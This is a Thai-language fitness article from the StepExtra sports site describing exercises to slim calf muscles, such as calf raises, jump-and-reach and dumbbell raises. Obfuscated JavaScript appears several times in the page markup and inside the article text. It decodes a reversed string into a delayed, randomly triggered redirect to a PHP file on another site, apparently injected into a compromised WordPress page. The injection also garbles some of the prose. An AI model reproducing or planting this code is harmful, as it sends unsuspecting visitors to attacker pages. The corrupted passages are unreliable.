andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andstudios.com-d92b2682-dcf2-4c14-a4aa-5509482110f1-1.jpg","contentUrl":"https://www.stepextra.com/wp-content/uploads/2015/01/s3.amazonaws.com-photography.prod_.demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andstudios.com-d92b2682-dcf2-4c14-a4aa-5509482110f1-1.jpg","width":640,"height":426},{"@type":"WebPage","@id":"https://www.stepextra.com/slim-muscular-calves/#webpage","url":"https://www.stepextra.com/slim-muscular-calves/","name":"Slim Muscular Calves: การบริหารเพื่อลดน่อง","isPartOf":{"@id":"https://www.stepextra.com/#website"},"primaryImageOfPage":{"@id":"https://www.stepextra.com/slim-muscular-calves/#primaryimage"},"datePublished":"2015-01-23T08:58:52+00:00","dateModified":"2015-01-23T08:58:52+00:00","author":{"@id":"https://www.stepextra.com/#/schema/person/d96eb85d4b459da34329e94d5a101a08"},"description":"Slim Muscular Calves: การบริหารเพื่อลดน่อง การลดน้ำหนักที่ให้ผลดีนั้น ทำสามสิ่งไปพร้อมๆ กัน คือ การควบคุมอาหาร เล่นคาดิโอและการฝึกกล้ามเนื้อ","breadcrumb":{"@id":"https://www.stepextra.com/slim-muscular-calves/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https://www.stepextra.com/slim-muscular-calves/"]}]},{"@type":"BreadcrumbList","@id":"https://www.stepextra.com/slim-muscular-calves/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https://www.stepextra.com/"},{"@type":"ListItem","position":2,"name":"Slim Muscular Calves: การบริหารเพื่อลดน่อง"}]},{"@type":"Person","@id":"https://www.stepextra.com/#/schema/person/d96eb85d4b459da34329e94d5a101a08","name":"Kanthad Yangsattha","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https://www.stepextra.com/#/schema/person/image/","url":"https://secure.gravatar.com/avatar/2cebb1c6873deaf6ac2cec1320ba08a6?s=96&d=mm&r=g","contentUrl":"https://secure.gravatar.com/avatar/2cebb1c6873deaf6ac2cec1320ba08a6?s=96&d=mm&r=g","caption":"Kanthad Yangsattha"},"url":"https://www.stepextra.com/author/mahakan/"}]}
  • เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics

Slim Muscular Calves: การบริหารเพื่อลดน่อง

Kanthad Yangsattha by Kanthad Yangsattha
23 January 2015
in Tips & Technics, Training
0
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andstudios.com-d92b2682-dcf2-4c14-a4aa-5509482110f1-1.jpg">
Slim Muscular Calves: การบริหารเพื่อลดน่อง
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andstudios.com-d92b2682-dcf2-4c14-a4aa-5509482110f1-1.jpg&description=Slim+Muscular+Calves%3A+%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%9A%E0%B8%A3%E0%B8%B4%E0%B8%AB%E0%B8%B2%E0%B8%A3%E0%B9%80%E0%B8%9E%E0%B8%B7%E0%B9%88%E0%B8%AD%E0%B8%A5%E0%B8%94%E0%B8%99%E0%B9%88%E0%B8%AD%E0%B8%87" rel='nofollow' class="jeg_btn-pinterest ">

Slim Muscular Calves: การบริหารเพื่อลดน่อง

การลดน้ำหนักที่ให้ผลดีนั้น ทำสามสิ่งไปพร้อมๆ กัน คือ การควบคุมอาหาร เล่นคาดิโอและการฝึกกล้ามเนื้อ เพื่อจะทำให้ทุกส่วนลดไปพร้อมกันรวมทั้งน่องด้วย การควบคุมอาหารควรในกับข้าวเราประกอบด้วยธัญพืช โปรตีนไขมันต่ำ ผัก ไขมันชนิดดีและผลไม้ เล่นคาดิโอ 150 นาที ทุกๆสัปดาห์โดยเฉพาะอย่างยิ่งเน้นเล่นส่วนขา เช่น ปั่นจักรยาน วิ่งและกระโดดเชือกซึ่งจะช่วยลดน่องได้ บริหารน่อง 2 หรือ 3 ชุดในการฝึกกล้ามเนื้อแต่ละสัปดาห์ และควรเช็คกับผู้เชี่ยวชาญด้านสุขภาพทุกครั้งก่อนการเริ่มการออกกำลังขั้นต่อไป

Get Down

เผาผลาญแคลลอรี่ให้มากขึ้นและกระชับกล้ามเนื้อด้วย compound exercises ซึ่งเป็นการออกกำลังกล้ามเนื้อให้มากกว่าหนึ่งมัดในหนึ่งครั้ง ทำได้โดย ยืนตรง วางตำแหน่งของเท้าให้กว้างเท่ากับหัวไหล่และค่อยๆงอเข่า หลังตรง
ลดสะโพกลงและหยุดเมื่อเอ็นร้อยหวายของคุณขนานกับพื้น ค้างท่านั้นไว้แล้วเขย่งปลายเท้าขึ้น ลดส้นเท้าลงโดยทิ้งน้ำหนักไปที่ส้นเท้า ยกส้นเท้าขึ้นลงเช่นนี้ 12 ถึง 15 ครั้ง หยุดเมื่อน่องของคุณรู้สึกเมื่อยล้า เมื่อถึงครั้งสุดท้ายให้กดส้นเท้าลงแล้วยืนขึ้น

Start Jumping

ท่า jump-andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-reach ก็สามารถกระชับกล้ามเนื้อน่อง สะโพกและก้นของคุณได้เช่นกันซึ่งทำได้โดยการยืนตรง งอเข่าให้ตรงกับข้อเท้า ทิ้งสะโพกไปด้านหลังลงน้ำหนักไปที่ส้นเท้าของคุณ ลดสะโพกลงและหยุดเมื่อส้นเท้าจะยกขึ้นเหนือพื้น ยกแขนขึ้นเหยียดไปด้านหลัง กดส้นเท้าลงและกระโดดขึ้นพร้อมๆกับแกว่งแขนขึ้นเหนือศีรษะ ทำลำตัวเป็นเส้นตรงเมื่อคุณกระโดดขึ้น ลงพื้นเบาๆด้วยกลางฝ่าเท้าแล้วค่อยๆวางส้นเท้าลง คุณควรงอเข่าเล็กน้อยขณะลงพื้นเนื่องจากอาจจะทำให้เกิดอาการบาดเจ็บได้หากเกร็งเข่า ทำเช่นนี้ 12-15 ครั้งและหยุดเมื่อกล้ามเนื้อรู้สึกเมื่อยล้า

เพิ่มน้ำหนักเข้าไปบ้าง

ถือดัมเบลขณะบริหารน่องทำให้เพิ่มแรงต้านให้กับขาส่วนล่าง คุณสามารถถือดัมเบลน้ำหนักปานกลางในมือทั้งสองข้างและยืนตรง แขนแนบลำตัว ปล่อยหัวไหล่ตามสบายและวางขาให้อยู่ระนาบเดียวกับหัวไหล่ ทิ้งน้ำหนักลงบนส้นเท้าแล้วเขย่งปลายเท้าขึ้น ค้างไว้ซักครู่แล้วค่อยๆวางส้นเท้าลงโดยทิ้งน้ำหนักลงบนส้นเท้า ทำเช่นนี้ 12-15 ครั้งและหยุดเมื่อน่องของคุณรู้สึกเมื่อยล้า

One at a Time

การยกขาขึ้นแต่ละข้างสามารถช่วยกระชับน่องได้ การที่ยกขาขึ้นทีละข้างจะทำให้จะสามารถป้องกันการใช้กล้ามน่องอีกข้างหนึ่งได้ ท่านี้ทำได้โดยการยืนตรง ยกเท้าขวาขึ้นจากพื้น ทิ้งน้ำหนักไปที่เท้าซ้าย ค่อยๆงอเข่าซ้าย เกร็งหน้าท้อง มองไปข้างหน้า กดข้อเท้าลงแล้วยกเนินเท้าขึ้น ยกให้มากที่สุด จากนั้นลดข้อเท้าลงแตะพื้น ทิ้งน้ำหนักตัวไปที่ข้อเท้าซ้ายและทำซ้ำ ทำเช่นนี้ 12-15 ครั้ง แล้วหยุดเมื่อกล้ามเนื้อรู้สึกเมื่อยล้า

ที่มาwww.livestrong.com

ShareTweetShare
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andstudios.com-d92b2682-dcf2-4c14-a4aa-5509482110f1-1.jpg&description=Slim+Muscular+Calves%3A+%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%9A%E0%B8%A3%E0%B8%B4%E0%B8%AB%E0%B8%B2%E0%B8%A3%E0%B9%80%E0%B8%9E%E0%B8%B7%E0%B9%88%E0%B8%AD%E0%B8%A5%E0%B8%94%E0%B8%99%E0%B9%88%E0%B8%AD%E0%B8%87" rel='nofollow' class="jeg_btn-pinterest ">
Kanthad Yangsattha

Kanthad Yangsattha

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • ไขทุกข้อสงสัยกับ “Snap” สายรัดข้อมือคู่ใจนักปั่น Sky Lane

    0 shares
    Share 0 Tweet 0
  • เล่นวินด์เซิร์ฟ นั่งชิลริมทะเล ตกเย็น ปาร์ตี้ปิ้งย่าง นอนรถบ้าน ณ tutu beach ริมหาดจอมเทียนพัทยา จ.ชลบุรี

    0 shares
    Share 0 Tweet 0
  • 5 กระบวนท่าพื้นฐานฝึกกล้ามเนื้อ Core

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.